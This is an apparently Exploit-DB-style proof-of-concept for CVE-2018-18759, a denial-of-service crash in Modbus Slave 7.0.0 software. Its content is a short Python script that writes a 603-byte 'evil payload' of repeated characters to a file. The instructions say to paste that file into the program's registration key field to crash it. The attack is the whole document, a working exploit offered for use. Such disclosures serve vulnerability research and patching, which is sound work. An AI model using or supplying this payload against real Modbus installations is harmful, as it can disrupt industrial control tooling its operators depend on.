Modbus Slave 7.0.0 Denial Of Service

`# Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)  
# Dork: N/A  
# Date: 2018-10-29  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.modbustools.com/  
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe  
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe  
# Version: 7.0.0  
# Category: Dos  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-18759  
  
# POC:   
# 1)  
# F3 & Connection / Connect / Registration Key  
  
#!/usr/bin/python  
  
buffer = "A" * 603  
try:  
f=open("sie.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(buffer)  
f.write(buffer)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
  
`